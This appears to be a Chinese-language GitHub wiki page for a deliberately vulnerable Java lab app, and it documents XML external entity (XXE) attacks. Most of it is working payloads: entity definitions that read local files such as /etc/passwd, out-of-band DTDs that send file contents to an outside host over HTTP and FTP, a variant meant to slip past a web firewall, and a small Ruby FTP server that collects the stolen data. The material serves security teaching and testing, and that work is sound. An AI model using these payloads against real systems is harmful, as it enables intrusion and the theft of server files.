-
Notifications
You must be signed in to change notification settings - Fork 653
XXE
JoyChou edited this page Feb 7, 2023
·
4 revisions
正常解析XML:
POST /xxe/DocumentBuilder HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 170
<?xml version="1.0" encoding="UTF-8"?>
<book id="1">
<name>Good Job</name>
<author>JoyChou</author>
<year>2017</year>
<price>100.00</price>
</book>
返回
name: Good Job
author: JoyChou
year: 2017
price: 100.00
利用file协议读取文件:
POST /xxe/DocumentBuilder_return HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 133
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///tmp/1.txt">
]>
<root>&xxe;</root>
返回
#text: 1111
~!@#%^%'">
2222
➜ cat 1.txt
1111
~!@#%^%'">
2222
在 XML 元素中,"<" 和 "&" 是非法的。"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束。具体利用方式可以查看https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ 文章。但我在测试用CDATA,并没有读取<&
成功。Payload如下:
-------------------------------------------------------------
post data:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///tmp/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://test.joychou.org/cdata.dtd">
%dtd;
]>
<root>&all;</root>
cdata.dtd:
<!ENTITY all "%start;%stuff;%end;">
-------------------------------------------------------------
post data:
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://test.joychou.org/cdata.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>
cdata.dtd:
<!ENTITY % file SYSTEM "file:///tmp/1.xt">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
-------------------------------------------------------------
在这份XXE漏洞代码中,需要设置Content-Type为application/xml
,服务端才能获取到body内容。
POST /xxe/DocumentBuilder HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 79
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">
payloads:
- 没有ENTITY关键字,可以用来Bypass WAF
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">
- 有ENTITY关键字,可能会被WAF拦截
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.org/evil.dtd">%remote;]>
<root/>
evil.dtd代码:
http协议:
<!ENTITY % data SYSTEM "file:///tmp/x">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://test.joychou.org/?data=%data;'>">
%payload;
%send;
ftp协议:
<!ENTITY % data SYSTEM "file:///etc/redhat-release">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://fakeuser:[email protected]:2121/%data;'>">
%payload;
%send;
或者将%payload;
放在ftp的username或者password处。如果ftp不跟用户名或者密码ftp://test.joychou.org:2121/%payload;
,利用FTP协议会接收到Java的版本。
New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp
FTP Server代码:
require 'socket'
server = TCPServer.new 2121
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
测试的结果(Centos):
Java版本 | 是否能读换行 | 被截断的字符 | 其他报错的字符(什么都不能读) | 被替换成换行的字符 |
---|---|---|---|---|
1.7.0_80 | 是 | # ? | % & ' | / |
1.8.0_121 | 是 | # ? | % & ' | / |
1.8.0_181 | 否 | # ? | % & ' | / |
可能还有其他的字符和其他的Java版本没有测试。不过我猜测,自从Java 1.8的某个版本起,就不能读取换行。至于是那个版本开始,就不具体测试了,大家知道这个特性就好 -)
2018年08月22日更新支持XInclude的XXE漏洞代码,详情见代码。
POC
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
详情可以查看浅析xml之xinclude & xslt